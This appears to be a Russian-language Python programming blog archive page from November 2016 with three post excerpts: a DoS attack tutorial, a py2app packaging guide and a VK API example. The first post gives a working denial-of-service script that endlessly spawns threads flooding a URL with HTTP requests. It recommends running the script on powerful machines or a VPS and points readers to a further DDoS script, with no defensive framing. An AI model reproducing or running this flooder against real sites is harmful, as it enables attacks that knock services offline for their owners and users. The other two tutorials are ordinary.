Сообщения

Сообщения за Ноябрь, 2016

DOS атака при помощи Python

Изображение
Для атак вида "DOS" используют один мощный сервер который посылает жертве столько запросов, что жертва не успевает обработать их и выдаёт ошибку 503 либо 504. Для атаки нужна многопоточность, то есть нужно чтобы скрипт отправлял запрос не ожидая завершения предыдущего. В Python для этого есть библиотека "therading". Пример простейшего скрипта для доса: # coding: utf8 import threading import requests def dos (): while True : requests . get( "http://example.com" ) while True : threading . Thread(target = dos) . start() Скрипт рекомендую запускать только на мощных компьютерах а ещё лучше на VPS сервере. Вот наш скрипт в действии: Так же советую попробовать новый ддос скрипт который использует вместо потоков асинхронный код

Создание автономных OS X приложений Mac OS с Python и py2app

Изображение
В этом уроке мы будем использовать py2app для создания отдельного приложения OSX из Python 2 или 3 исходного кода с помощью простого пользовательского интерфейса Tkinter. Официальные документации: Документация Bitbucket Создание приложения Мы будем создавать не большой sanwitch app в котором у нас будет 1 кнопка (sandwitch.py): import sys if sys . version_info < ( 3 , 0 ): # Python 2 import Tkinter as tk else : # Python 3 import tkinter as tk root = tk . Tk() root . title( "Sandwich" ) tk . Button(root, text = "Make me a Sandwich" ) . pack() tk . mainloop() Во время запуск мы будем видеть следующее: Установка py2app: pip install - U git + https: // github . com / metachris / py2app . git @master Это setup.py является базовое определение приложения: from setuptools import setup APP = [ 'Sandwich.py' ] DATA_FILES = [] OPTIONS = { 'argv_emulation' : True } setup( app = APP, data

Vk API и небольшой пример приложения

У социальной сети Вконтакте есть API. Благодаря ему можно менять статусы пользователей, создавать посты и огромную кучу другого. Для Python программистов существует специальная библиотека, для её установки в консоли нужно набрать pip install vk_api  Теперь попробуем получить последний пост от вашего имени при помощи API: # -*- coding: utf-8 -*- import vk_api def main (): """ Пример получения последнего сообщения со стены """ login, password = 'python@vk.com' , 'mypassword' vk_session = vk_api . VkApi(login, password) try : vk_session . authorization() except vk_api . AuthorizationError as error_msg: print (error_msg) return vk = vk_session . get_api() """ VkApi.method позволяет выполнять запросы к API. В этом примере используется метод wall.get (https://vk.com/dev/wall.get) с параметром count = 1, т.е. мы получаем один послед